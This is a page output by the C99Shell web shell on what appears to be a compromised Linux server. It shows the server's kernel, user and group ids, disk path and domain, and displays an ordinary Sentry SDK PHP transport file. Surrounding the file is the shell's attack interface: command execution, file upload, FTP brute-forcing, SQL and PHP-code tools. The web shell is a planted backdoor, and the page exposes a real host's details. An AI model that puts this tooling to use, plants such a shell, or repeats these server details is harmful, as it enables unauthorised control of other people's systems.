!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/sentry/sentry/src/Transport/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HttpTransport.php (5.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Sentry\Transport;

use 
GuzzleHttp\Promise\FulfilledPromise;
use 
GuzzleHttp\Promise\PromiseInterface;
use 
GuzzleHttp\Promise\RejectedPromise;
use 
Http\Client\HttpAsyncClient as HttpAsyncClientInterface;
use 
Psr\Http\Message\RequestFactoryInterface;
use 
Psr\Http\Message\ResponseInterface;
use 
Psr\Http\Message\StreamFactoryInterface;
use 
Psr\Log\LoggerInterface;
use 
Psr\Log\NullLogger;
use 
Sentry\Event;
use 
Sentry\EventType;
use 
Sentry\Options;
use 
Sentry\Response;
use 
Sentry\ResponseStatus;
use 
Sentry\Serializer\PayloadSerializerInterface;

/**
 * This transport sends the events using a syncronous HTTP client that will
 * delay sending of the requests until the shutdown of the application.
 *
 * @author Stefano Arlandini <sarlandini@alice.it>
 */
final class HttpTransport implements TransportInterface
{
    
/**
     * @var Options The Sentry client options
     */
    
private $options;

    
/**
     * @var HttpAsyncClientInterface The HTTP client
     */
    
private $httpClient;

    
/**
     * @var StreamFactoryInterface The PSR-7 stream factory
     */
    
private $streamFactory;

    
/**
     * @var RequestFactoryInterface The PSR-7 request factory
     */
    
private $requestFactory;

    
/**
     * @var PayloadSerializerInterface The event serializer
     */
    
private $payloadSerializer;

    
/**
     * @var LoggerInterface A PSR-3 logger
     */
    
private $logger;

    
/**
     * @var RateLimiter The rate limiter
     */
    
private $rateLimiter;

    
/**
     * Constructor.
     *
     * @param Options                    $options           The Sentry client configuration
     * @param HttpAsyncClientInterface   $httpClient        The HTTP client
     * @param StreamFactoryInterface     $streamFactory     The PSR-7 stream factory
     * @param RequestFactoryInterface    $requestFactory    The PSR-7 request factory
     * @param PayloadSerializerInterface $payloadSerializer The event serializer
     * @param LoggerInterface|null       $logger            An instance of a PSR-3 logger
     */
    
public function __construct(
        
Options $options,
        
HttpAsyncClientInterface $httpClient,
        
StreamFactoryInterface $streamFactory,
        
RequestFactoryInterface $requestFactory,
        
PayloadSerializerInterface $payloadSerializer,
        ?
LoggerInterface $logger null
    
) {
        
$this->options $options;
        
$this->httpClient $httpClient;
        
$this->streamFactory $streamFactory;
        
$this->requestFactory $requestFactory;
        
$this->payloadSerializer $payloadSerializer;
        
$this->logger $logger ?? new NullLogger();
        
$this->rateLimiter = new RateLimiter($this->logger);
    }

    
/**
     * {@inheritdoc}
     */
    
public function send(Event $event): PromiseInterface
    
{
        
$dsn $this->options->getDsn();

        if (
null === $dsn) {
            throw new 
\RuntimeException(sprintf('The DSN option must be set to use the "%s" transport.'self::class));
        }

        
$eventType $event->getType();

        if (
$this->rateLimiter->isRateLimited($eventType)) {
            
$this->logger->warning(
                
sprintf('Rate limit exceeded for sending requests of type "%s".', (string) $eventType),
                [
'event' => $event]
            );

            return new 
RejectedPromise(new Response(ResponseStatus::rateLimit(), $event));
        }

        if (
            
$this->options->isTracingEnabled() ||
            
EventType::transaction() === $eventType ||
            
EventType::checkIn() === $eventType
        
) {
            
$request $this->requestFactory->createRequest('POST'$dsn->getEnvelopeApiEndpointUrl())
                ->
withHeader('Content-Type''application/x-sentry-envelope')
                ->
withBody($this->streamFactory->createStream($this->payloadSerializer->serialize($event)));
        } else {
            
$request $this->requestFactory->createRequest('POST'$dsn->getStoreApiEndpointUrl())
                ->
withHeader('Content-Type''application/json')
                ->
withBody($this->streamFactory->createStream($this->payloadSerializer->serialize($event)));
        }

        try {
            
/** @var ResponseInterface $response */
            
$response $this->httpClient->sendAsyncRequest($request)->wait();
        } catch (
\Throwable $exception) {
            
$this->logger->error(
                
sprintf('Failed to send the event to Sentry. Reason: "%s".'$exception->getMessage()),
                [
'exception' => $exception'event' => $event]
            );

            return new 
RejectedPromise(new Response(ResponseStatus::failed(), $event));
        }

        
$sendResponse $this->rateLimiter->handleResponse($event$response);

        if (
ResponseStatus::success() === $sendResponse->getStatus()) {
            return new 
FulfilledPromise($sendResponse);
        }

        return new 
RejectedPromise($sendResponse);
    }

    
/**
     * {@inheritdoc}
     */
    
public function close(?int $timeout null): PromiseInterface
    
{
        return new 
FulfilledPromise(true);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--